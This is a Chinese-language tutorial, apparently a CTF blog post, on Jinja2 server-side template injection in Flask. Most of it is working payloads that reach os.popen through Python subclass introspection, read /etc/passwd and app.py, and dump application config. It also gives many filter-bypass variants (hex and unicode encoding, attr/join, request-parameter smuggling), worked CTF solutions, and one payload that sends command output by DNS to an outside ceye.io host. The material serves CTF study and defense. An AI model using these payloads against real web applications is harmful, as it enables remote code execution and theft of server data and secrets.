本文主要针对jinja2的SSTI做一些讲解和说明。
__class__
用于返回对象所属的类,和type()
相同:
1 | ''.__class__ |
__base__
以字符串的形式返回一个类所继承的类,一般情况下是object
__bases__
以元组的形式返回一个类所继承的类
__mro__
返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类
1 | class Father(): |
__subclasses__()
得到object类后,就可以用__subclasses__()
获取所有的子类:
1 | [].__class__.__base__.__subclasses__() |
__dict__
我们在获得到一个模块时想调用模块中的方法,恰好该方法被过滤了,就可以用该方法bypass
1 | import os |
与dir()作用相同,都是返回属性、方法等;但一些数据类型是没有__dict__
属性的,如[].__dict__
会返回错误
__dict__
只会显示属于自己的属性,dir()除了显示自己的属性,还显示从父类继承来的属性
可以使用__dict__
来间接调用一些属性或方法,如:
1 | a = [] |
__init__
__init__
用于初始化类,作用就是为了得到function/method模型
1 | class Base: |
__globals__
会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合__init__
使用
1 | class Student: |
果该关键字被过滤了我们可以使用__getattribute__
,以下两者等效
1 | __init__.__globals__['sys'] |
builtins
、__builtin__
、__builtins__
的区别在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chr
、open
。之所以可以这样,是因为 Python 有个叫内建模块
(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。
在 2.x 版本中,内建模块被命名为 __builtin__
,到了 3.x 就成了 builtins
。它们都需要 import 才能查看:
python2
1 | import __builtin__ |
python3
1 | import builtins |
而__builtins__
两者都有,实际上是__builtin__
和builtins
的引用。它不需要导入。不过__builtins__
与__builtin__
和builtins
是有一点区别的,__builtins__
相对实用一点,并且在 __builtins__
里有很多好东西:
1 | '__import__' in dir(__builtins__) |
使用__class__
来获取内置类所对应的类,可以使用str
,dict
,tuple
,list
等来获取。
1 | ''.__class__ |
拿到object
基类
用__bases__[0]
拿到基类:
1 | ''.__class__.__bases__[0] |
用__base__
拿到基类:
1 | ''.__class__.__base__ |
用__mro__[1]
或__mro__[-1]
拿到基类:
1 | ''.__class__.__mro__[1] |
用__subclasses__()
拿到子类列表:
1 | ''.__class__.__bases__[0].__subclasses__() |
在子类列表中寻找中寻找可以getshell的类
我们一般来说是先知晓一些可以getshell的类,然后再去跑这些类的索引,然后这里先讲述如何去跑索引,再详写可以getshell的类
这里先给出一个在本地遍历的脚本,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法,这里以popen
为例子。
local_find.py
1 | search = 'popen' |
运行这个脚本后:
可以发现object
基类的第132个子类名为os._wrap_close
的这个类有popen方法
先调用它的__init__
方法进行初始化类,再调用__globals__
可以获取到方法内以字典的形式返回的方法、属性等值,最后调用popen
函数来执行命令
但是上面的方法仅限于在本地寻找,remote_find.py
1 | import requests |
os._wrap_close
类中的popen
payload:
1 | {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}} |
__import__
中的os
把上面local_find.py
脚本中的search变量换成__import__
:
可以看到有5个类下是包含__import__
的,随便用一个即可
payload:
1 | {{"".__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__import__('os').popen('whoami').read()}} |
tips:python2的string
类型不直接从属于属于基类,所以要用两次 __bases__[0]
file
类读写文件然后直接调用里面的方法即可,payload如下:
1 | {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}} |
warnings
类中的linecache
1 | 58] [].__class__.__base__.__subclasses__()[ |
payload:
1 | [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].os.popen('whoami').read() |
__builtins__
代码执行把上面local_find.py
脚本search变量赋值为__builtins__
再调用eval
等函数和方法即可,payload:
1 | {{().__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}} |
总而言之,原理都是先找到含有__builtins__
的类,然后再进一步利用。
os
这个我在python3.8环境下好像没能找到直接含有os的类,python2.7.18下有两个类:
1 | <class 'site._Printer'> |
Payload:
1 | {{().__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].popen('whoami').read()}} |
通常会用{{config}}
查询配置信息
jinja2中存在对象request
查询一些配置信息
1 | {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}} |
构造ssti的payload
1 | {{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}} |
查询配置信息
1 | {{url_for.__globals__['current_app'].config}} |
构造ssti的payload
1 | {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} |
查询配置信息
1 | {{get_flashed_messages.__globals__['current_app'].config}} |
构造ssti的payload
1 | {{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}} |
.
1 | {{().__class__}} |
attr()
绕过1 | {{().__class__}} |
getattr()
绕过1 | {{().__class__}} |
五种不同的请求方式绕过:
1 | request.args.name |
1 | {{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd |
1 | {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}} |
1 | {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}} |
_
使用十六进制编码绕过,_
编码后为\x5f
,.
编码后为\x2E
payload:
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[376]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}} |
关键字也可以使用十六进制编码
1 | string1="__class__" |
比如说NCTF2020 你是我的master吗 这道题:
waf:
1 | blacklist = ['%','-',':','+','class','base','mro','_','config','args','init','global','.','\'','req','|','attr','get'] |
payload:
1 | ?name={{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("ls")["\x72\x65\x61\x64"]()}} |
全16进制,只能在SSTI的时候用。
同上
+拼接
1 | {{()['__cla'+'ss__'].__bases__[0]}} |
join拼接
1 | {{()|attr(["_"*2,"cla","ss","_"*2]|join)}} |
格式化+管道符
1 | {{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l |
过滤init,可以用__enter__
或__exit__
替代
过滤config
1 | {{self}} ⇒ <TemplateReference None> |
[]
[]
1 | "a","b","c"][1] [ |
Payload:
1 | {{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()} |
[]
魔术方法中本来是没有中括号的,但是如果需要使用[]
绕过关键字的话,可以用__getattribute__
绕过
1 | {{"".__getattribute__("__cla"+"ss__").__base__}} |
也可以配合requests
绕过
1 | {{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__ |
Payload:
1 | {{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami |
{}
用{%%}
替代,使用判断语句进行dns外带数据:
1 | {% if ().__class__.__base__.__subclasses__()[433].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='ssti' %}1{% endif %} |
1 | import requests |
1 | {%print ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%} |
介绍一些常见过滤组合和最近的赛题。
_
,.
和'
python3下可以使用_frozen_importlib_external.FileLoader
的get_data()
方法,第一个是参数0,第二个为要读取的文件名:
1 | {{().__class__.__bases__[0].__subclasses__()[222].get_data(0,"app.py")}} |
下划线可以用编码绕过和requests
绕过:
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[222]["get\x5Fdata"](0, "app\x2Epy")}} |
args
,.
和_
参考y1ng师傅的payload:
1 | {{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8'])(request['values']['x9'])}} |
安洵杯2020 EasyFlask:https://github.com/D0g3-Lab/i-SOON_CTF_2020
GitHub上的题目环境有点问题,文件给的好像不全。
可以看一下过滤:
直接来看payload:
1 | {%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%} |
其中print
用来绕过{{}}`,`attr`绕过`.`。
然后这里的`lipsum`是一个方法,可以直接调用os方法,也可以使用`__buildins__`:
,比如说这道题由于有个字符规范器可以把我们输入的文本标准化,所以可以使用这种方法。1
2{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}1
2{{()|attr("__class__")}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}1
{%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
//字符串转Unicode编码
function unicode_encode($strLong) {
$strArr = preg_split('/(?<!^)(?!$)/u', $strLong);//拆分字符串为数组(含中文字符)
$resUnicode = '';
foreach ($strArr as $str)
{
$bin_str = '';
$arr = is_array($str) ? $str : str_split($str);//获取字符内部数组表示,此时$arr应类似array(228, 189, 160)
foreach ($arr as $value)
{
$bin_str .= decbin(ord($value));//转成数字再转成二进制字符串,$bin_str应类似111001001011110110100000,如果是汉字"你"
}
$bin_str = preg_replace('/^.{4}(.{4}).{2}(.{6}).{2}(.{6})$/', '$1$2$3', $bin_str);//正则截取, $bin_str应类似0100111101100000,如果是汉字"你"
$unicode = dechex(bindec($bin_str));//返回unicode十六进制
$_sup = '';
for ($i = 0; $i < 4 - strlen($unicode); $i++)
{
$_sup .= '0';//补位高字节 0
}
$str = '\\u' . $_sup . $unicode; //加上 \u 返回
$resUnicode .= $str;
}
return $resUnicode;
}
//Unicode编码转字符串方法1
function unicode_decode($name)
{
// 转换编码,将Unicode编码转换成可以浏览的utf-8编码
$pattern = '/([\w]+)|(\\\u([\w]{4}))/i';
preg_match_all($pattern, $name, $matches);
if (!empty($matches))
{
$name = '';
for ($j = 0; $j < count($matches[0]); $j++)
{
$str = $matches[0][$j];
if (strpos($str, '\\u') === 0)
{
$code = base_convert(substr($str, 2, 2), 16, 10);
$code2 = base_convert(substr($str, 4), 16, 10);
$c = chr($code).chr($code2);
$c = iconv('UCS-2', 'UTF-8', $c);
$name .= $c;
}
else
{
$name .= $str;
}
}
}
return $name;
}
//Unicode编码转字符串
function unicode_decode2($str){
$json = '{"str":"' . $str . '"}';
$arr = json_decode($json, true);
if (empty($arr)) return '';
return $arr['str'];
}
echo unicode_encode('__class__');
echo unicode_decode('\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f');
//\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f__class__
可以在Unicode字符网站寻找绕过的字符,直接在网址搜索{
,就会出现类似的字符,就可以找到︷
和︸
了,网址:https://www.compart.com/en/unicode/U+FE38
Payload:
1 | ︷︷config︸︸ |
http://www.cl4y.top/ssti模板注入学习/
https://xi4or0uji.github.io/2019/01/15/flask之ssti模板注入/
https://www.m00nback.xyz/2020/02/16/Python沙箱逃逸/
https://www.cnblogs.com/bmjoker/p/13508538.html#mr4YxS2y
https://blog.szfszf.top/article/15/